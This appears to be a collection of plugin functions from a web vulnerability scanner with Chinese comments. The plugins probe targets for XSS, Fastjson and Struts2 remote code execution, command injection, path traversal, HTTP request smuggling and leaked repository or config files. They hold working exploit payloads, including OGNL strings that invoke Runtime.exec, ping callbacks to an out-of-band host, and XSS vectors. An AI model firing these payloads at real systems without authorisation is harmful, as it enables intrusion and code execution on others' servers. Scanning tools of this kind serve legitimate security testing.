def audit(self): p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) payload = "(A({}))/".format(random_str(6)) url = domain + payload req = requests.get(url, headers=self.requests.headers) if payload in req.text: new_payload = "(A(\"onerror='{}'{}))/".format( random_str(6), random_str(6)) url2 = domain + new_payload req2 = requests.get(url2, headers=self.requests.headers) if new_payload in req2.text: result = self.new_result() result.init_info(self.requests.url, ".net 通杀xss", VulType.XSS) result.add_detail("payload回显", req.reqinfo, generateResponse(req), "payload:{}回显在页面".format(payload), "", "", PLACE.GET) result.add_detail("payload回显", req2.reqinfo, generateResponse(req2), "payload:{}回显在页面".format(payload), "", "", PLACE.GET) self.success(result)
def audit(self): headers = self.requests.headers if self.requests.post_hint == POST_HINT.JSON or self.requests.post_hint == POST_HINT.JSON_LIKE: # 第三方平台 # dnslog = DnsLogApi() # dnsdomain = random_str(4) + "." + dnslog.new_domain() # 检测是否使用fastjson for 1.2.67 # refer:https://github.com/alibaba/fastjson/issues/3077 # r = requests.post(self.requests.url, data=self.generate_check_fastjson(dnsdomain), headers=headers) # isFastjson = dnslog.check() # if isFastjson: # result = self.new_result() # result.init_info(self.requests.url, "使用了Fastjson", VulType.CODE_INJECTION) # result.add_detail("payload", r.reqinfo, generateResponse(r), # "第三方dnslog有日志回显:{}".format(repr(isFastjson)), "", "", PLACE.GET) # self.success(result) # else: # return # reqlist = [] # for payload in [self.generate_payload_1_2_24(dnsdomain), self.generate_payload_1_2_47(dnsdomain)]: # r = requests.post(self.requests.url, data=payload, headers=headers) # reqlist.append(r) # dnslist = dnslog.check() # if dnslist: # result = self.new_result() # result.init_info(self.requests.url, "Fastjson Poc 1.24-1.27", VulType.CODE_INJECTION) # for req in reqlist: # result.add_detail("payload请求", req.reqinfo, generateResponse(req), # "第三方dnslog有日志回显:{}".format(repr(dnslist)), "", "", PLACE.POST) # self.success(result) # 内置rmi平台 rmi = reverseApi() if rmi.isUseReverse(): rmidomain = rmi.generate_rmi_token() rmi_token = rmidomain["token"] fullname = rmidomain["fullname"] reqlist = [] for payload in [ self.generate_payload_1_2_24(fullname), self.generate_payload_1_2_47(fullname) ]: r = requests.post(self.requests.url, data=payload, headers=headers) reqlist.append(r) dnslist = rmi.check(rmi_token) if dnslist: result = self.new_result() result.init_info(self.requests.url, "Fastjson Poc 1.24-1.27", VulType.CODE_INJECTION) for req in reqlist: result.add_detail( "payload请求", req.reqinfo, generateResponse(req), "内置rmi 有日志回显:{}".format(repr(dnslist)), "", "", PLACE.POST) self.success(result)
def audit(self): if WEB_PLATFORM.PHP in self.response.programing or conf.level >= 2: headers = self.requests.headers variants = [ "phpinfo.php", "pi.php", "php.php", "i.php", "test.php", "temp.php", "info.php", ] for phpinfo in variants: testURL = self.requests.url.rstrip("/") + "/" + phpinfo r = requests.get(testURL, headers=headers) flag = "<title>phpinfo()</title>" if flag in r.text: info = get_phpinfo(r.text) result = self.new_result() result.init_info(self.requests.url, "phpinfo发现", VulType.SENSITIVE) result.add_detail("payload请求", r.reqinfo, generateResponse(r), '\n'.join(info), "", "", PLACE.GET) self.success(result)
def audit(self): if WEB_PLATFORM.JAVA in self.response.programing or conf.level >= 2: headers = self.requests.headers check = '<Struts2-vuln-Check>' payloads = [ r"%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('<'+'Struts2-vuln-'+'Check>')).(#o.close())}", r"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#[email protected]@getRequest()).(#path=#req.getRealPath('Struts2-vuln-'+'Check>')).(#o.println(#path)).(#o.close())}", r'''%{(#f**k='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse().getWriter()).(#outstr.println(#req.getRealPath("Struts2-vuln-"+"Check>"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}''' ] for payload in payloads: headers['Content-Type'] = payload r = requests.get(self.requests.url, headers=headers, timeout=30) html1 = r.text if check in html1: result = self.new_result() result.init_info(self.requests.url, "Struts2-045远程代码执行", VulType.CODE_INJECTION) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "发现回显flag:{}".format(check), "", "", PLACE.POST) self.success(result) break
def audit(self): headers = self.requests.headers p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) payload = domain + ".idea/workspace.xml" r = requests.get(payload, headers=headers, allow_redirects=False) path_lst = [] if '<component name="' in r.text: root = etree.XML(r.text.encode()) for e in root.iter(): if e.text and e.text.strip().find('$PROJECT_DIR$') >= 0: path = e.text.strip() path = path[path.find('$PROJECT_DIR$') + 13:] if path not in path_lst: path_lst.append(path) for key in e.attrib: if e.attrib[key].find('$PROJECT_DIR$') >= 0: path = e.attrib[key] path = path[path.find('$PROJECT_DIR$') + 13:] if path and path not in path_lst: path_lst.append(path) if path_lst: result = self.new_result() result.init_info(self.requests.url, "idea敏感文件发现", VulType.DIRSCAN) result.add_detail("payload请求", r.reqinfo, generateResponse(r), "敏感目录列表:{}".format(repr(path_lst)), "", "", PLACE.GET) self.success(result)
def audit(self): plainArray = [ "; for 16-bit app support", "[MCI Extensions.BAK]", "# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.", "# localhost name resolution is handled within DNS itself.", "[boot loader]" ] regexArray = [ '(Linux+\sversion\s+[\d\.\w\-_\+]+\s+\([^)]+\)\s+\(gcc\sversion\s[\d\.\-_]+\s)', '(root:\w:\d*:)', "System\.IO\.FileNotFoundException: Could not find file\s'\w:", "System\.IO\.DirectoryNotFoundException: Could not find a part of the path\s'\w:", "<b>Warning<\/b>:\s\sDOMDocument::load\(\)\s\[<a\shref='domdocument.load'>domdocument.load<\/a>\]:\s(Start tag expected|I\/O warning : failed to load external entity).*(Windows\/win.ini|\/etc\/passwd).*\sin\s<b>.*?<\/b>\son\sline\s<b>\d+<\/b>", "(<web-app[\s\S]+<\/web-app>)", "Warning: fopen\(", "open_basedir restriction in effect" ] iterdatas = self.generateItemdatas() _payloads = self.generate_payloads() for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, _payloads) for key, value, new_value, payload in payloads: r = self.req(positon, payload) if not r: continue html1 = r.text for plain in plainArray: if plain in html1: result = ResultObject(self) result.init_info(self.requests.url, "目录穿越导致任意文件被读取", VulType.PATH_TRAVERSAL) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "探测payload:{},并发现回显{}".format(payload, plain), key, new_value, positon) self.success(result) return for regex in regexArray: if re.search(regex, html1, re.I | re.S | re.M): result = ResultObject(self) result.init_info(self.requests.url, "目录穿越导致任意文件被读取", VulType.PATH_TRAVERSAL) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "探测payload:{},并发现正则回显{}".format(payload, regex), key, new_value, positon) self.success(result) return
def test_ssti(self, data, k, positon): randnum1 = random.randint(1000, 10000) randnum2 = random.randint(8888, 20000) checksum = str(randnum1 * randnum2) ssti_payloads = self.getSSTIPayload(randnum1, randnum2) for payload in ssti_payloads: data[k] = payload # 不编码请求 r1 = self.req(positon, url_dict2str(data, positon)) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} 不编码payload".format(payload, checksum), "payload": payload } # url编码请求 r1 = self.req(positon, data) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} url编码payload".format(payload, checksum), "payload": payload } # html编码请求 data[k] = html.escape(data[k]) r1 = self.req(positon, data) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} html编码payload".format(payload, checksum), "payload": payload }
def audit(self): if self.requests.suffix.lower() == '.js': new_url = self.requests.url + ".map" req = requests.get(new_url, headers=self.requests.headers) if req.status_code == 200 and 'webpack:///' in req.text: result = ResultObject(self) result.init_info(self.requests.url, "webpack源文件泄漏", VulType.SENSITIVE) result.add_detail("payload探测", req.reqinfo, generateResponse(req), "webpack:/// 在返回文本中", "", "", PLACE.GET) self.success(result)
def audit(self): if WEB_PLATFORM.PHP in self.response.programing or conf.level >= 2: headers = self.requests.headers p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) payload = domain + "robots.txt/.php" r = requests.get(payload, headers=headers, allow_redirects=False) ContentType = r.headers.get("Content-Type", '') if 'html' in ContentType and "allow" in r.text: result = self.new_result() result.init_info(self.requests.url, "代码解析漏洞", VulType.CODE_INJECTION) result.add_detail("payload请求", r.reqinfo, generateResponse(r), "Content-Type:{}".format(ContentType), "", "", PLACE.GET) self.success(result)
def audit(self): headers = self.requests.headers if WEB_PLATFORM.PHP not in self.response.programing and conf.level < 2: return iterdatas = self.generateItemdatas() for item in iterdatas: iterdata, positon = item for k, v in iterdata.items(): data = copy.deepcopy(iterdata) del data[k] key = k + "[]" data[key] = v if positon == PLACE.GET: r = requests.get(self.requests.netloc, params=data, headers=headers) elif positon == PLACE.POST: r = requests.post(self.requests.url, data=data, headers=headers) elif positon == PLACE.COOKIE: if self.requests.method == HTTPMETHOD.GET: r = requests.get(self.requests.url, headers=headers, cookies=data) elif self.requests.method == HTTPMETHOD.POST: r = requests.post(self.requests.url, data=self.requests.post_data, headers=headers, cookies=data) if "Warning" in r.text and "array given in " in r.text: path = get_middle_text(r.text, 'array given in ', ' on line') result = self.new_result() result.init_info(self.requests.url, self.desc, VulType.SENSITIVE) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "将参数{k}={v}替换为{k}[]={v},path路径泄漏:{p}".format(k=k, v=v, p=path), key, v, positon) self.success(result)
def audit(self): headers = self.requests.headers p = urlparse(self.requests.url) domain = "{}://{}/".format(p.scheme, p.netloc) + random_str(6) + ".jsp" r = requests.get(domain, headers=headers) messages = sensitive_page_error_message_check(r.text) if messages: result = self.new_result() result.init_info(self.requests.url, "敏感的报错信息", VulType.SENSITIVE) for m in messages: text = m["text"] _type = m["type"] result.add_detail("payload请求", r.reqinfo, generateResponse(r), "匹配组件:{} 匹配正则:{}".format(_type, text), "", "", PLACE.GET) self.success(result)
def audit(self): flag = { "/.svn/all-wcprops": "svn:wc:ra_dav:version-url", "/.git/config": 'repositoryformatversion[\s\S]*', "/.bzr/README": 'This\sis\sa\sBazaar[\s\S]', '/CVS/Root': ':pserver:[\s\S]*?:[\s\S]*', '/.hg/requires': '^revlogv1.*' } headers = self.requests.headers for f in flag.keys(): _ = self.requests.url.rstrip('/') + f r = requests.get(_, headers=headers) if re.search(flag[f], r.text, re.I | re.S | re.M): result = self.new_result() result.init_info(self.requests.url, "仓库泄漏", VulType.SENSITIVE) result.add_detail("payload请求", r.reqinfo, generateResponse(r), "匹配到正则:{}".format(flag[f]), "", "", PLACE.GET) self.success(result)
def audit(self): if WEB_PLATFORM.JAVA in self.response.programing or conf.level >= 2: headers = self.requests.headers ran_a = random.randint(10000000, 20000000) ran_b = random.randint(1000000, 2000000) ran_check = ran_a - ran_b lin = 'expr' + ' ' + str(ran_a) + ' - ' + str(ran_b) checks = [ str(ran_check), '无法初始化设备 PRN', '??????? PRN', '<Struts2-vuln-Check>', 'Unable to initialize device PRN' ] payloads = [ r"method%3a%23_memberAccess%[email protected]+@DEFAULT_MEMBER_ACCESS%2c%23kxlzx%[email protected]@getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28" + str(ran_a) + '-' + str(ran_b) + "%29%2c%23kxlzx.close", r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=print+test&pp=\\A&ppp=%20&encoding=UTF-8", r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=" + lin + r"&pp=\\A&ppp=%20&encoding=UTF-8", r"method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),%23w.print('Check>'),1?%23xx:%23request.toString&pp=<Struts2-vuln-&encoding=UTF-8" ] headers['Content-Type'] = 'application/x-www-form-urlencoded' for payload in payloads: r = requests.post(self.requests.url, headers=headers, data=payload) html1 = r.text for check in checks: if check in html1: result = self.new_result() result.init_info(self.requests.url, "Struts2-032远程代码执行", VulType.CODE_INJECTION) result.add_detail("payload探测", r.reqinfo, generateResponse(r), "发现回显flag:{}".format(check), "", "", PLACE.POST) self.success(result) return
def audit(self): p = urlparse(self.requests.url) arg = "{}://{}/".format(p.scheme, p.netloc) FileList = [] FileList.append(arg + 'common/swfupload/swfupload.swf') FileList.append(arg + 'adminsoft/js/swfupload.swf') FileList.append(arg + 'statics/js/swfupload/swfupload.swf') FileList.append(arg + 'images/swfupload/swfupload.swf') FileList.append(arg + 'js/upload/swfupload/swfupload.swf') FileList.append(arg + 'addons/theme/stv1/_static/js/swfupload/swfupload.swf') FileList.append(arg + 'admin/kindeditor/plugins/multiimage/images/swfupload.swf') FileList.append(arg + 'includes/js/upload.swf') FileList.append(arg + 'js/swfupload/swfupload.swf') FileList.append(arg + 'Plus/swfupload/swfupload/swfupload.swf') FileList.append(arg + 'e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf') FileList.append(arg + 'include/lib/js/uploadify/uploadify.swf') FileList.append(arg + 'lib/swf/swfupload.swf') md5_list = [ '3a1c6cc728dddc258091a601f28a9c12', '53fef78841c3fae1ee992ae324a51620', '4c2fc69dc91c885837ce55d03493a5f5', ] for payload in FileList: payload1 = payload + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%22xss%22%29}}//" req = requests.get(payload1, headers=self.requests.headers) if req.status_code == 200: md5_value = md5(req.content) if md5_value in md5_list: result = self.new_result() result.init_info(req.url, "Flash通用Xss", VulType.XSS) result.add_detail("payload请求", req.reqinfo, generateResponse(req), "匹配到存在漏洞的md5:{}".format(md5_value), "", "", PLACE.GET) self.success(result) break
def audit(self): url = self.requests.url if self.requests.suffix not in acceptedExt and conf.level < 4: return randint = random.randint(1000, 9000) url_flag = { "set|set&set": [ 'Path=[\s\S]*?PWD=', 'Path=[\s\S]*?PATHEXT=', 'Path=[\s\S]*?SHELL=', 'Path\x3d[\s\S]*?PWD\x3d', 'Path\x3d[\s\S]*?PATHEXT\x3d', 'Path\x3d[\s\S]*?SHELL\x3d', 'SERVER_SIGNATURE=[\s\S]*?SERVER_SOFTWARE=', 'SERVER_SIGNATURE\x3d[\s\S]*?SERVER_SOFTWARE\x3d', 'Non-authoritative\sanswer:\s+Name:\s*', 'Server:\s*.*?\nAddress:\s*' ], "echo `echo 6162983|base64`6162983".format(randint): ["NjE2Mjk4Mwo=6162983"] } if OS.WINDOWS in self.response.os: del url_flag["echo `echo 6162983|base64`6162983".format(randint)] # 无回显 payload # dnslog = DnsLogApi() # dnsdomain = dnslog.new_domain() # token = random_str(4) # dnslog_payload = "ping -nc 1 {}.{}".format(token, dnsdomain) # url_flag[dnslog_payload] = [] # 内置平台 dns payload dns = reverseApi() if dns.isUseReverse(): dnsdomain = dns.generate_dns_token() dns_token = dnsdomain["token"] fullname = dnsdomain["fullname"] reverse_payload = "ping -nc 1 {}".format(fullname) url_flag[reverse_payload] = [] iterdatas = self.generateItemdatas() for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, url_flag) for key, value, new_value, payload, re_list in payloads: r = self.req(positon, payload) if not r: continue html1 = r.text for rule in re_list: if re.search(rule, html1, re.I | re.S | re.M): result = self.new_result() result.init_info(url, "可执行任意系统命令", VulType.CMD_INNJECTION) result.add_detail( "payload请求", r.reqinfo, generateResponse(r), "执行payload:{} 并发现正则回显{}".format(new_value, rule), key, new_value, positon) self.success(result) break # if dnslog_payload in new_value: # dnslist = dnslog.check() # if dnslist: # result = self.new_result() # result.init_info(url, "可执行任意系统命令", VulType.CMD_INNJECTION) # result.add_detail("payload请求", r.reqinfo, generateResponse(r), # "执行payload:{} dnslog平台接收到返回值".format(payload, repr(dnslist)), key, # new_value, # positon) # self.success(result) # break if dns.isUseReverse(): dnslist = dns.check(dns_token) if dnslist: result = self.new_result() result.init_info(url, "可执行任意系统命令", VulType.CMD_INNJECTION) result.add_detail( "payload请求", r.reqinfo, generateResponse(r), "执行payload:{} dnslog平台接收到返回值".format( payload, repr(dnslist)), key, new_value, positon) self.success(result) break
def audit(self): parse_params = set(getParamsFromHtml(self.response.text)) resp = self.response.text params_data = {} self.init() iterdatas = [] if self.requests.method == HTTPMETHOD.GET: parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set( self.requests.params.keys()) for key in parse_params: params_data[key] = random_str(6) params_data.update(self.requests.params) resp = requests.get(self.requests.netloc, params=params_data, headers=self.requests.headers).text iterdatas = self.generateItemdatas(params_data) elif self.requests.method == HTTPMETHOD.POST: parse_params = (parse_params) - set(self.requests.post_data.keys()) for key in parse_params: params_data[key] = random_str(6) params_data.update(self.requests.post_data) resp = requests.post(self.requests.url, data=params_data, headers=self.requests.headers).text iterdatas = self.generateItemdatas(params_data) for origin_dict, positon in iterdatas: # 先不支持uri上的xss,只支持get post cookie上的xss if positon == PLACE.URI: continue for k, v in origin_dict.items(): v = unquote(v) if v not in resp: continue data = copy.deepcopy(origin_dict) # 探测回显 xsschecker = "0x" + random_str(6, string.digits + "abcdef") data[k] = xsschecker r1 = self.req(positon, data) if not re.search(xsschecker, r1.text, re.I): continue html_type = r1.headers.get("Content-Type", "").lower() XSS_LIMIT_CONTENT_TYPE = conf.XSS_LIMIT_CONTENT_TYPE if XSS_LIMIT_CONTENT_TYPE and 'html' not in html_type: continue # 反射位置查找 locations = SearchInputInResponse(xsschecker, r1.text) if len(locations) == 0: # 找不到反射位置,找下自己原因? flag = random_str(5) payload = "<{}//".format(flag) data[k] = payload req = self.req(positon, data) if payload in req.text: self.result.add_detail( "html代码未转义", req.reqinfo, generateResponse(req), "可使用<svg onload=alert`1`// 进行攻击测试,注意返回格式为:" + html_type, k, data[k], positon) for item in locations: _type = item["type"] details = item["details"] if _type == "html": if details["tagname"] == "style": payload = "expression(a({}))".format( random_str(6, string.ascii_lowercase)) data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse( payload, req.text) for _item in _locations: if payload in _item["details"][ "content"] and _item["details"][ "tagname"] == "style": self.result.add_detail( "IE下可执行的表达式", req.reqinfo, generateResponse(req.text), "IE下可执行的表达式 expression(alert(1))", k, data[k], positon) break flag = random_str(7) payload = "</{}><{}>".format( random_upper(details["tagname"]), flag) truepayload = "</{}>{}".format( random_upper(details["tagname"]), "<svg onload=alert`1`>") data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".format( details["tagname"], truepayload, html_type), k, data[k], positon) break elif _type == "attibute": if details["content"] == "key": # test html flag = random_str(7) payload = "><{} ".format(flag) truepayload = "><svg onload=alert`1`>" data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}". format(details["tagname"], truepayload, html_type), k, data[k], positon) break # test attibutes flag = random_str(5) payload = flag + "=" data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: for _k, v in i["details"]["attibutes"]: if _k == flag: self.result.add_detail( "可自定义任意标签事件", req.reqinfo, generateResponse(req), "可以自定义类似 'onmouseover=prompt(1)'的标签事件,注意返回格式为:" + html_type, k, payload, positon) break else: # test attibutes flag = random_str(5) for _payload in ["'", "\"", " "]: payload = _payload + flag + "=" + _payload truepayload = "{payload} onmouseover=prompt(1){payload}".format( payload=_payload) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: for _k, _v in i["details"]["attibutes"]: if _k == flag: self.result.add_detail( "引号可被闭合,可使用其他事件造成xss", req.reqinfo, generateResponse(req), "可使用payload:{},注意返回格式为:{}". format(truepayload, html_type), k, payload, positon) break # test html flag = random_str(7) for _payload in [r"'><{}>", "\"><{}>"]: payload = _payload.format(flag) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "可测试payload:{}".format( _payload.format( "svg onload=alert`1`")) + ",返回格式为:" + html_type, k, data[k], positon) break # 针对特殊属性进行处理 specialAttributes = [ 'srcdoc', 'src', 'action', 'data', 'href' ] # 特殊处理属性 keyname = details["attibutes"][0][0] tagname = details["tagname"] if keyname in specialAttributes: flag = random_str(7) data[k] = flag req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: if len(i["details"]["attibutes"]) > 0 and i["details"]["attibutes"][0][ 0] == keyname and \ i["details"]["attibutes"][0][1] == flag: truepayload = flag if i["details"]["attibutes"][0][ 0] in specialAttributes: truepayload = "javascript:alert(1)" self.result.add_detail( "值可控", req.reqinfo, generateResponse(req), "{}的值可控,可能被恶意攻击,payload:{},注意返回格式为:{}" .format(keyname, truepayload, html_type), k, data[k], positon) break elif keyname == "style": payload = "expression(a({}))".format( random_str(6, string.ascii_lowercase)) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( payload, req.text) for _item in _occerens: if payload in str(_item["details"]) and len(_item["details"]["attibutes"]) > 0 and \ _item["details"]["attibutes"][0][0] == keyname: self.result.add_detail( "IE下可执行的表达式", req.reqinfo, generateResponse(req.text), "IE下可执行的表达式 payload:expression(alert(1))", k, data[k], positon) break elif keyname.lower() in XSS_EVAL_ATTITUDES: # 在任何可执行的属性中 payload = random_str(6, string.ascii_lowercase) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( payload, req.text) for i in _occerens: _attibutes = i["details"]["attibutes"] if len(_attibutes) > 0 and _attibutes[0][ 1] == payload and _attibutes[0][ 0].lower() == keyname.lower(): self.result.add_detail( "事件的值可控", req.reqinfo, generateResponse(req), "{}的值可控,可能被恶意攻击,注意返回格式为:{}".format( keyname, html_type), k, data[k], positon) break elif _type == "comment": flag = random_str(7) for _payload in ["-->", "--!>"]: payload = "{}<{}>".format(_payload, flag) truepayload = payload.format( _payload, "svg onload=alert`1`") data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse(flag, req.text) for i in _occerens: if i["details"]["tagname"] == flag: self.result.add_detail( "html注释可被闭合", req.reqinfo, generateResponse(req), "html注释可被闭合 测试payload:{},注意返回格式为:{}". format(truepayload, html_type), k, data[k], positon) break elif _type == "script": # test html flag = random_str(7) script_tag = random_upper(details["tagname"]) payload = "</{}><{}>{}</{}>".format( script_tag, script_tag, flag, script_tag) truepayload = "</{}><{}>{}</{}>".format( script_tag, script_tag, "prompt(1)", script_tag) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse(flag, req.text) for i in _occerens: if i["details"]["content"] == flag and i[ "details"]["tagname"].lower( ) == script_tag.lower(): self.result.add_detail( "可以新建script标签执行任意代码", req.reqinfo, generateResponse(req), "可以新建script标签执行任意代码 测试payload:{},注意返回格式为:{}" .format(truepayload, html_type), k, data[k], positon) break # js 语法树分析反射 source = details["content"] _occurences = SearchInputInScript(xsschecker, source) for i in _occurences: _type = i["type"] _details = i["details"] if _type == "InlineComment": flag = random_str(5) payload = "\n;{};//".format(flag) truepayload = "\n;{};//".format('prompt(1)') data[k] = payload resp = self.req(positon, data).text for _item in SearchInputInResponse(flag, resp): if _item["details"]["tagname"] != "script": continue resp2 = _item["details"]["content"] output = SearchInputInScript(flag, resp2) for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "js单行注释bypass", req.reqinfo, generateResponse(req), "js单行注释可被\\n bypass,注意返回格式为:" + html_type.format(truepayload), k, data[k], positon) break elif _type == "BlockComment": flag = "0x" + random_str(4, "abcdef123456") payload = "*/{};/*".format(flag) truepayload = "*/{};/*".format('prompt(1)') data[k] = payload resp = self.req(positon, data).text for _item in SearchInputInResponse(flag, resp): if _item["details"]["tagname"] != "script": continue resp2 = _item["details"]["content"] output = SearchInputInScript(flag, resp2) for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "js块注释可被bypass", req.reqinfo, generateResponse(req), "js单行注释可被\\n bypass,注意返回格式为:" + html_type.format(truepayload), k, data[k], positon) break elif _type == "ScriptIdentifier": self.result.add_detail( "可直接执行任意js命令", req.reqinfo, generateResponse(req), "ScriptIdentifier类型 测试payload:prompt(1);//,注意返回格式为:" + html_type, k, data[k], positon) elif _type == "ScriptLiteral": content = _details["content"] quote = content[0] flag = random_str(6) if quote == "'" or quote == "\"": payload = '{quote}-{rand}-{quote}'.format( quote=quote, rand=flag) truepayload = '{quote}-{rand}-{quote}'.format( quote=quote, rand="prompt(1)") else: flag = "0x" + random_str(4, "abcdef123456") payload = flag truepayload = "prompt(1)" data[k] = payload resp = self.req(positon, data).text resp2 = None for _item in SearchInputInResponse( payload, resp): if payload in _item["details"][ "content"] and _item[ "type"] == "script": resp2 = _item["details"]["content"] if not resp2: continue output = SearchInputInScript(flag, resp2) if output: for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "script脚本内容可被任意设置", req.reqinfo, generateResponse(req), "测试payload:{},注意返回格式为:{}". format(truepayload, html_type), k, data[k], positon) break # ssti检测 # r1 = self.test_ssti(data, k, positon) # if r1: # r2 = self.test_ssti(data, k, positon) # if r2: # result = self.new_result() # result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS) # result.add_detail("第一次payload请求", r1["request"], r1["response"], # r1["desc"], k, r1["payload"], positon) # result.add_detail("第二次payload请求", r2["request"], r2["response"], # r2["desc"], k, r2["payload"], positon) # self.success(result) # break if len(self.result.detail) > 0: self.success(self.result)
def audit(self): url = self.requests.url headers = self.requests.headers cycle = 5 if self.response.status_code != 200: return # request_smuggling_cl_te for i in range(cycle): payload_headers = { "Content-Length": "6", "Transfer-Encoding": "chunked" } data = b'0\r\n\r\nS'.decode() temp_header = headers.copy() for k, v in payload_headers.items(): if k.lower() in temp_header: temp_header[k.lower()] = v else: temp_header[k] = v try: r = requests.post(url, headers=temp_header, data=data, timeout=30) except: continue if r.status_code == 403 and self.response.text != r.text: r2 = requests.get(url, headers=headers) if r2 == 200: result = self.new_result() result.init_info(self.requests.url, "http smuggling 走私攻击", VulType.SMUGGLING) result.add_detail("发送畸形包", r.reqinfo, generateResponse(r), "request_smuggling CL.TE型", "", "", PLACE.POST) result.add_detail("访问正常网页", r2.reqinfo, generateResponse(r2), "", "", "", PLACE.GET) self.success(result) return # request_smuggling_te_cl for i in range(cycle + 1): payload_headers = { "Content-Length": "3", "Transfer-Encoding": "chunked" } data = b'1\r\nD\r\n0\r\n\r\n'.decode() req = Request('POST', url, data=data, headers=headers) prepped = req.prepare() for k, v in payload_headers.items(): if k.lower() in prepped.headers: del prepped.headers[k.lower()] prepped.headers[k] = v s = Session() try: r = s.send(prepped) except: continue if r.status_code == 403 and self.response.text != r.text: r2 = requests.get(url, headers=headers) if r2.status_code == 200: result = self.new_result() result.init_info(self.requests.url, "http smuggling 走私攻击", VulType.SMUGGLING) result.add_detail("发送畸形包", r.reqinfo, generateResponse(r), "request_smuggling TE.CL型", "", "", PLACE.POST) result.add_detail("访问正常网页", r2.reqinfo, generateResponse(r2), "", "", "", PLACE.GET) self.success(result) return
